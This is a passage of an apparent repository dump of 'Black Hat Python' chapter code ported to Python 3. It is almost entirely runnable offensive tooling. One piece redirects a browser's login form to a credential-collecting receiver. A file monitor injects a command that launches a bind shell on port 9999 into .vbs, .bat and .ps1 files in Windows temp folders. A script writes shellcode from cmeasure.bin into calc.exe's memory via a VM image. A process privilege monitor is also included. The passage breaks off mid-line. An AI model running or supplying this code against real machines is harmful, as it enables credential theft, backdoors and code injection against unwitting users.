logout form and submit it 58 | if i.id == target_sites[url.hostname]["logout_form"]: 59 | i.submit() 60 | wait_for_browser(browser) 61 | except: 62 | pass 63 | try: 64 | # now we modify the login form 65 | login_index = target_sites[url.hostname]["login_form_index"] 66 | login_page = urllib.parse.quote(browser.LocationUrl) 67 | browser.Document.forms[login_index].action = "%s%s" % ( 68 | data_receiver, login_page) 69 | target_sites[url.hostname]["owned"] = True 70 | except: 71 | pass 72 | time.sleep(5) 73 | -------------------------------------------------------------------------------- /chapter10/bhvulnservice.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Joelone/blackhat-python3/98574839f0457be8aef297040f1c8b4d3478f57b/chapter10/bhvulnservice.zip -------------------------------------------------------------------------------- /chapter10/file_monitor.py: -------------------------------------------------------------------------------- 1 | # Modified example that is originally given here: 2 | # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html 3 | import tempfile 4 | import threading 5 | import win32file 6 | import win32con 7 | import os 8 | 9 | # these are the common temp file directories 10 | dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()] 11 | 12 | # file modification constants 13 | FILE_CREATED = 1 14 | FILE_DELETED = 2 15 | FILE_MODIFIED = 3 16 | FILE_RENAMED_FROM = 4 17 | FILE_RENAMED_TO = 5 18 | 19 | # extension based code snippets to inject 20 | file_types = {} 21 | command = "C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c" 22 | file_types['.vbs'] = ["\r\n'bhpmarker\r\n", 23 | "\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" 24 | % command] 25 | file_types['.bat'] = ["\r\nREM bhpmarker\r\n", "\r\n%s\r\n" % command] 26 | file_types['.ps1'] = ["\r\n#bhpmarker", "Start-Process \"%s\"" % command] 27 | 28 | 29 | def inject_code(full_filename, extension, contents): 30 | # is our marker already in the file? 31 | if file_types[extension][0] in contents: 32 | return 33 | 34 | # no marker let's inject the marker and code 35 | full_contents = file_types[extension][0] 36 | full_contents += file_types[extension][1] 37 | full_contents += contents 38 | 39 | fd = open(full_filename, "wb") 40 | fd.write(full_contents.encode()) 41 | fd.close() 42 | 43 | print("[\o/] Injected code.") 44 | 45 | return 46 | 47 | 48 | def start_monitor(path_to_watch): 49 | # we create a thread for each monitoring run 50 | file_list_directory = 0x0001 51 | 52 | h_directory = win32file.CreateFile( 53 | path_to_watch, 54 | file_list_directory, 55 | win32con.FILE_SHARE_READ 56 | | win32con.FILE_SHARE_WRITE 57 | | win32con.FILE_SHARE_DELETE, 58 | None, 59 | win32con.OPEN_EXISTING, 60 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 61 | None) 62 | 63 | while 1: 64 | try: 65 | results = win32file.ReadDirectoryChangesW( 66 | h_directory, 67 | 1024, 68 | True, 69 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME | 70 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | 71 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | 72 | win32con.FILE_NOTIFY_CHANGE_SIZE | 73 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | 74 | win32con.FILE_NOTIFY_CHANGE_SECURITY, 75 | None, 76 | None 77 | ) 78 | 79 | for action, file_name in results: 80 | full_filename = os.path.join(path_to_watch, file_name) 81 | 82 | if action == FILE_CREATED: 83 | print("[ + ] Created %s" % full_filename) 84 | elif action == FILE_DELETED: 85 | print("[ - ] Deleted %s" % full_filename) 86 | elif action == FILE_MODIFIED: 87 | print("[ * ] Modified %s" % full_filename) 88 | 89 | # dump out the file contents 90 | print("[vvv] Dumping contents...") 91 | 92 | try: 93 | fd = open(full_filename, "rb") 94 | contents = fd.read() 95 | fd.close() 96 | print(contents) 97 | print("[^^^] Dump complete.") 98 | filename, extension = os.path.splitext(full_filename) 99 | if extension in file_types: 100 | inject_code(full_filename, extension, contents) 101 | except: 102 | print("[!!!] Failed.") 103 | 104 | elif action == FILE_RENAMED_FROM: 105 | print("[ > ] Renamed from: %s" % full_filename) 106 | elif action == FILE_RENAMED_TO: 107 | print("[ < ] Renamed to: %s" % full_filename) 108 | else: 109 | print("[???] Unknown: %s" % full_filename) 110 | except: 111 | pass 112 | 113 | 114 | for path in dirs_to_monitor: 115 | monitor_thread = threading.Thread(target=start_monitor, args=(path,)) 116 | print("Spawning monitoring thread for path: %s" % path) 117 | monitor_thread.start() 118 | -------------------------------------------------------------------------------- /chapter10/process_monitor.py: -------------------------------------------------------------------------------- 1 | import win32con 2 | import win32api 3 | import win32security 4 | import wmi 5 | import os 6 | 7 | LOG_FILE = "process_monitor_log.csv" 8 | 9 | 10 | def get_process_privileges(pid): 11 | try: 12 | # obtain a handle to the target process 13 | hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, 14 | False, 15 | pid) 16 | 17 | # open the main process token 18 | htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 19 | 20 | # retrieve the list of privileges enabled 21 | privs = win32security.GetTokenInformation( 22 | htok, 23 | win32security.TokenPrivileges) 24 | 25 | # iterate over privileges and output the ones that are enabled 26 | priv_list = [] 27 | for priv_id, priv_flags in privs: 28 | # check if the privilege is enabled 29 | if priv_flags == 3: 30 | priv_list.append( 31 | win32security.LookupPrivilegeName(None, priv_id)) 32 | 33 | except: 34 | priv_list.append("N/A") 35 | 36 | return "|".join(priv_list) 37 | 38 | 39 | def log_to_file(message): 40 | fd = open(LOG_FILE, "ab") 41 | fd.write("%s\r\n" % message) 42 | fd.close() 43 | return 44 | 45 | 46 | # create a log file header 47 | if not os.path.isfile(LOG_FILE): 48 | log_to_file("Time,User,Executable,CommandLine,PID,ParentPID,Privileges") 49 | 50 | # instantiate the WMI interface 51 | c = wmi.WMI() 52 | 53 | # create our process monitor 54 | process_watcher = c.Win32_Process.watch_for("creation") 55 | 56 | while True: 57 | try: 58 | new_process = process_watcher() 59 | proc_owner = new_process.GetOwner() 60 | proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2]) 61 | create_date = new_process.CreationDate 62 | executable = new_process.ExecutablePath 63 | cmdline = new_process.CommandLine 64 | pid = new_process.ProcessId 65 | parent_pid = new_process.ParentProcessId 66 | 67 | privileges = get_process_privileges(pid) 68 | 69 | process_log_message = "%s,%s,%s,%s,%s,%s,%s" % ( 70 | create_date, proc_owner, executable, cmdline, pid, parent_pid, 71 | privileges) 72 | 73 | print("%s\r\n" % process_log_message) 74 | 75 | log_to_file(process_log_message) 76 | except: 77 | pass 78 | -------------------------------------------------------------------------------- /chapter11/cmeasure.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Joelone/blackhat-python3/98574839f0457be8aef297040f1c8b4d3478f57b/chapter11/cmeasure.bin -------------------------------------------------------------------------------- /chapter11/code_coverage.py: -------------------------------------------------------------------------------- 1 | from immlib import * 2 | 3 | 4 | class CcHook(LogBpHook): 5 | 6 | def __init__(self): 7 | LogBpHook.__init__(self) 8 | self.imm = Debugger() 9 | 10 | def run(self, regs): 11 | self.imm.log("%08x" % regs['EIP'], regs['EIP']) 12 | self.imm.deleteBreakpoint(regs['EIP']) 13 | return 14 | 15 | 16 | def main(args): 17 | imm = Debugger() 18 | 19 | calc = imm.getModule("calc.exe") 20 | imm.analyseCode(calc.getCodebase()) 21 | 22 | functions = imm.getAllFunctions(calc.getCodebase()) 23 | 24 | hooker = CcHook() 25 | 26 | for function in functions: 27 | hooker.add("%08x" % function, function) 28 | 29 | return "Tracking %d functions." % len(functions) 30 | -------------------------------------------------------------------------------- /chapter11/code_inject.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | import volatility.conf as conf 4 | import volatility.registry as registry 5 | import volatility.commands as commands 6 | import volatility.addrspace as addrspace 7 | import volatility.plugins.taskmods as taskmods 8 | 9 | equals_button = 0x01005D51 10 | 11 | memory_file = "/Users/justin/Documents/Virtual Machines.localized/" \ 12 | "Windows Server 2003 Standard Edition.vmwarevm/" \ 13 | "564d9400-1cb2-63d6-722b-4ebe61759abd.vmem" 14 | slack_space = None 15 | trampoline_offset = None 16 | 17 | # read in our shellcode 18 | sc_fd = open("cmeasure.bin", "rb") 19 | sc = sc_fd.read() 20 | sc_fd.close() 21 | 22 | sys.path.append("/Downloads/volatility-2.3.1") 23 | 24 | registry.PluginImporter() 25 | config = conf.ConfObject() 26 | 27 | registry.register_global_options(config, commands.Command) 28 | registry.register_global_options(config, addrspace.BaseAddressSpace) 29 | 30 | config.parse_options() 31 | config.PROFILE = "Win2003SP2x86" 32 | config.LOCATION = "file://%s" % memory_file 33 | 34 | p = taskmods.PSList(config) 35 | 36 | for process in p.calculate(): 37 | if str(process.ImageFileName) == "calc.exe": 38 | print("[*] Found calc.exe with PID %d" % process.UniqueProcessId) 39 | print("[*] Hunting for physical offsets...please wait.") 40 | 41 | address_space = process.get_process_address_space() 42 | pages = address_space.get_available_pages() 43 | 44 | for page in pages: 45 | physical = address_space.vtop(page[0]) 46 | if physical is not None: 47 | if slack_space is None: 48 | fd = open(memory_file, "r+") 49 | fd.seek(physical) 50 | buf = fd.read(page[1]) 51 | try: 52 | offset = buf.index("\x00" * len(sc)) 53 | slack_space = page[0] + offset 54 | 55 | print("[*] Found good shellcode location!") 56 | print("[*] Virtual address: 0x%08x" % slack_space) 57 | print("[*] Physical address: 0x%08x" % ( 58 | physical + offset)) 59 | print("[*] Injecting shellcode.") 60 | 61 | fd.seek(physical + offset) 62 | fd.write(sc.decode()) 63 | fd.flush() 64 | 65 | # create our trampoline 66 | tramp = "\xbb%s" % struct.pack("